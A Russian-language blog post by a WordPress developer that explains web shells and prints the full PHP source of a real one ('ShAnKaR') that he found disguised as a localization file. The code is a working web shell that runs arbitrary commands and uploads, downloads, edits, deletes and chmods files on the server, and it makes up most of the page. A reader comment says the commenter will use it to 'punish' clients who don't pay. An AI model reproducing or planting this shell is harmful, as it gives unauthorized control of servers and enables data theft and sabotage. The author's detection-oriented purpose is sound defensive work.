Реальный пример веб-шелла, обнаруженного в Вордпресс

Опубликовано 5 лет назад

Найти и удалить вредоносный код с сайта не сложно. Гораздо сложнее отыскать в системе брешь, через которую он туда попал. Сегодня я покажу реальный пример веб-шелла, который недавно обнаружил на одном из сайтов.

Во-первых, что такое «веб-шелл»

Веб-шелл (web-shell) — вредоносный скрипт, который используется злоумышленниками для управления чужими сайтами и серверами.

Веб-шеллы чаще всего обеспечивают доступ к файловой системе, базам данных, позволяют выполнять команды терминала, осуществлять брутфорс паролей и т.п.

Веб-шелл представляет собой серьёзную угрозу безопасности сайта.

Обнаружить визуально веб-шелл в Вордпресс не просто. Сильно упростить задачу помогает сканирование хорошим антивирусом. Известные шеллы обычно находятся быстро. Как проверить сайт антивирусом я расскажу в следующий раз.

В этот раз обнаружился Web-shell by (c)ShAnKaR.php
Он лежал в папке локализаций Вордпресс, имел вполне логичное имя, и при беглом осмотре не вызывал никаких подозрений.

/wp-content/languages/en_default.php

Конечно, если включить голову, расширение php в languages должно насторожить. Но когда файлов огромное количество, и от них рябит в глазах, заметить такое сложно.

<?php
//error_reporting(0);
@ini_restore("safe_mode"); 
@ini_restore("open_basedir"); 
if(get_magic_quotes_gpc()){
while(list($key,$val)=each($_POST)){
$_POST[$key]=stripslashes($val);}}
ini_set(«magic_quotes_runtime», 0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
function w($a){return str_repeat(" ",$a);}
function b($b){return "<b>$b</b>";}
function e($e){switch($e){
case 0:return('no such file');
case 1:return('no such dirictory');
case 2:return('permission denied');
case 3:return('is not dirictory');
case 4:return('is a dirictory');
}}
function test_file($filename){
return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
if(isset($_POST['downl']) && !empty($_POST['downf'])){
if(!preg_match('/^\//',$_POST['downf'])){
$_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
if(!test_file($_POST['downf'])){
if(!is_dir($_POST['downf'])){
$fd=fopen($_POST['downf'], "rb");
$nam=preg_replace('/.+\//','',$_POST['downf']);
header("Content-Type: application/octet-stream; name=\"".$nam."\"");
header("Content-Length: ".filesize($_POST['downf']));
header("Content-disposition: attachment; filename=\"".$nam."\"");
while(!feof($fd)){
$buffer=fgets($fd,4096);
echo $buffer;
}
fclose ($fd);
exit;
}
else $error=font('red',e(4));
}
else $error=test_file($_POST['downf']);}

echo "<html><body bgcolor=white><center><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
if(!empty($_POST['th']))@chdir($_POST['th']);
#UP
if(isset($_POST['up']))@chdir('../');
#CD
if(isset($_POST['c']) && $_POST['cd']!=''){
if(!test_file($_POST['cd'])){
if(is_dir($_POST['cd'])){
@chdir($_POST['cd']);
}
else $error=font('red',e(3));
}
else $error=test_file($_POST['cd']);}
echo w(3)."<input type=text size=60 value=".getcwd().">";
if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
echo "<br>";
?>
<hr>
<form method=POST name=main>
<input type="submit" value="^" name="up">
<input type=submit name=menu value=upload> <input type=submit name=find value='find writeable'>
<br>
<input type=text name=cd> 
<input type=submit value=cd name=c>
<br>
<input type=text name=open>
<input type=submit value=open name=op>
<br>
<input type=text name=new>
<input type=submit name=cr value="new file">
<br>
<input type=text name=exec>
<input type=submit name=exe value=exec>
<br>
<input type=text name=strin>
<input type=text name=remot>
<input type=submit name=copy value=copy>
<br>
<input type="text" name="renold" >
<input type="text" name="rennew" >
<input type="submit" name="rename" value="rename">
<br>
<input type=text name=rm >
<input type=submit name=del value=del>
<br>
<input type="text" name="mkdir">
<input type="submit" name="mk" value="mkdir">
<br>
<input type="text" name="rmdir">
<input type="submit" name="rmd" value="rmdir">
<br>
<input type="text" name="ch_mod">
<?php
for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
echo"</select>";}
?>
<input type="submit" name="ch_chmod" value="chmod">
<br>

<br>
<hr>
<?php
#FIND WRITEABLE##############
if(isset($_POST['find'])){
echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
if(isset($_POST['fww']) && !empty($_POST['fpath'])){
echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
$arrfw=array($_POST['fpath']);
$ife=0;
while(++$ife<=count($arrfw)){
$pathfw=$arrfw[$ife-1];
if(is_readable($pathfw)){
if($hfw=opendir($pathfw)){
while(false!==($ffw=readdir($hfw))){
$ffw=$pathfw.$ffw;
if(!preg_match('/\/\.+$/',$ffw)){
if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
closedir($hfw);}}}}


if(isset($_POST['eval'])){
echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";





echo "";
}
############################################################################
#RENAME
if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
if(file_exists($_POST['renold'])){
@rename($_POST['renold'],$_POST['rennew']);
}
else $error=font('red',e(0));
}
#

#RMDIR
if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
if(file_exists($_POST['rmdir'])){
if(is_dir($_POST['rmdir'])){
if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet"); 
else $error=font('red','dir not deleted');
}
else $error=font('red',e(3));
}
else $error=font('red',e(0));
}
#
#CHMOD
if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
if(file_exists($_POST['ch_mod'])){
@chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
else $error=font('red',e(0));}
#
#DELETE
if(isset($_POST['del']) && $_POST['rm']!=''){
if(file_exists($_POST['rm'])){
if(!is_dir($_POST['rm'])){
@unlink($_POST['rm']);
}
else echo "<br>".font('red',e(4)."<br>");
}
else echo "<br>".font('red',e(0)."<br>");
}
#
#EXE
if(!empty($_POST['exe'])){
if(@exec($_POST['exec'],$ar)){
echo "<textarea cols=70 rows=15>";
foreach($ar as $line){
echo $line."\n";
}
echo "</textarea>";}}
#
#OPEN FILE
if(isset($_POST['op']) && $_POST['open']!=''){
if(!test_file($_POST['open'])){
if(!is_dir($_POST['open'])){
$fil=file($_POST['open']);
echo "<textarea cols=100 rows=20 name=edit>";
foreach($fil as $vv){
echo htmlspecialchars($vv);
}
echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
if(is_writable($_POST['open'])==1){
echo w(2).font('green','ACCESS GRANTED');
echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
}}
else $error=font('red',e(2));
}
else $error=test_file($_POST['open']);
}
if(isset($_POST['save'])){
$fr=fopen($_POST['sv'],"w");
$out=$_POST['edit'];
fputs($fr,$out);
fclose($fr);
}
#
#CREATE FILE
if(isset($_POST['cr']) && $_POST['new']!=''){
if(is_writable(dirname($_POST['new']))){
echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
<input type=submit name=cre value=create>
<input type=hidden value=".$_POST['new']."  name=nf>";
}
else echo "<br>".font('red',e(2)."<br>");
}
if(isset($_POST['cre'])){
$ee=fopen($_POST['nf'],'w+');
$out=$_POST['newf'];
fputs($ee,$out);
fclose($ee);
}
#
#MKDIR
if(isset($_POST['mk']) && $_POST['mkdir']!=''){
if(is_writeable('./')){
@mkdir($_POST['mkdir']);
echo font('green',"dir ".b($_POST['mkdir'])." create"); 
}
else echo font('red',e(2));
}
#
echo "<input type=hidden name=th value=".getcwd()."></form>";
#UPLOAD FILE
if(isset($_POST['menu']) || isset($_POST['qq'])){
echo "
<form enctype=multipart/form-data  method=post>
Save as :<input type=text name=name>File :<input name=userfile type=file>
<input type=submit value=Send name=go_up>
<input type=hidden name=qq>
<input type=hidden name=th value=".getcwd()."></form>";
if(isset($_POST['go_up'])){
if(isset($_POST['name']) && $_POST['name']==''){
$_POST['name']=$_FILES['userfile']['name'];}
if(!preg_match('/^\//',$_POST['name'])){
$_POST['name']=$_POST['th'].'/'.$_POST['name'];}
if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
@copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
else echo "<br>".font('red',"Permisions denied");}}
#
#TEST PERM
if(isset($_POST['tes']) && $_POST['test']!=''){
$j=$_POST['test'];
if(file_exists($j)){
$w='';
if(is_writeable($j)){
$w=w(1).'WRITE'.w(1);
}
if(is_readable($j)){
$w=$w.w(1).'READ'.w(1);
}
echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
}
else echo font('red',$e(0));
}
#
#COPY
if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
if(file_exists(dirname($_POST['remot']))){
if(file_exists($_POST['strin'])){
if(is_writable(dirname($_POST['remot']))){
if(is_readable($_POST['strin'])){
@copy($_POST['strin'],$_POST['remot']);
}
else echo font('red',"no read string file");
}
else echo font('red',"no write dest directory");
}
else echo font('red',"no such file");
}
else echo font('red',"no such dest dir");
}
#
#CHECK DISK
if(isset($_POST['free']) && $_POST['dirfree']!=''){
if(file_exists($_POST['dirfree'])){
$fre=@disk_free_space($_POST['dirfree'])/1048576;
echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
$fre1=@disk_total_space($_POST['dirfree'])/1048576;
echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
}
else echo font('red',"No such disk");
}
#
(isset($_POST['info']))?phpinfo():null;
#
#PASSWD
if(!empty($_POST['passwd']) && isset($_POST['passw'])){
echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
foreach(@file($_POST['passwd']) as $fed)echo $fed;
echo "</textarea><br>\n";}
#
if(isset($error))echo $error;?>
<hr><?php
##################################################################################
if(is_readable(getcwd())){
if($h=opendir(getcwd())){
$arr=array();
while(false!==($f=readdir($h))){array_push ($arr,$f);}
closedir($h);}}
else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
sort($arr);
echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
foreach($arr as $f){
$l=@lstat($f);
print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
$r=sprintf("%o",(@fileperms($f)) & 0777);
$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
echo "</td><td>$r</td><td>$fow</td>";
if(!is_dir($f)){
if(!is_link($f)){
echo w(2)."<td><i>".$l[7]."</i></td>";}
else echo "</td><td>link</td>";}
else echo "</td><td>DIR</td>";
$fi=htmlspecialchars($f);
echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
?>
</table></body></html>
<?php exit; ?>

Если обратиться к нему в браузере, выглядит это так:

Реальный пример веб-шелла, обнаруженного в Вордпресс
Интерфейс Web-shell (c)ShAnKaR.php

Как видим, веб-шелл представляет собой полноценный файловый менеджер. Можно создавать, удалять, редактировать файлы, прям там же есть простенький текстовый редактор.

И самое главное — все это прекрасно работает.

Ну, а как попадают веб-шеллы на хостинг — это уже другая, более долгая история, которая тянет на книгу, как минимум.

Еще вернемся к этому.

Иван Данилин
Автор Иван Данилин

Фулстек веб‑разработчик, специализируюсь на платформе WordPress

Подробнее
Комментарии
  1. Спасибо, работает. Теперь если клиент не захочет платить за выполненную работу, можно его будет наказать.
Добавить комментарий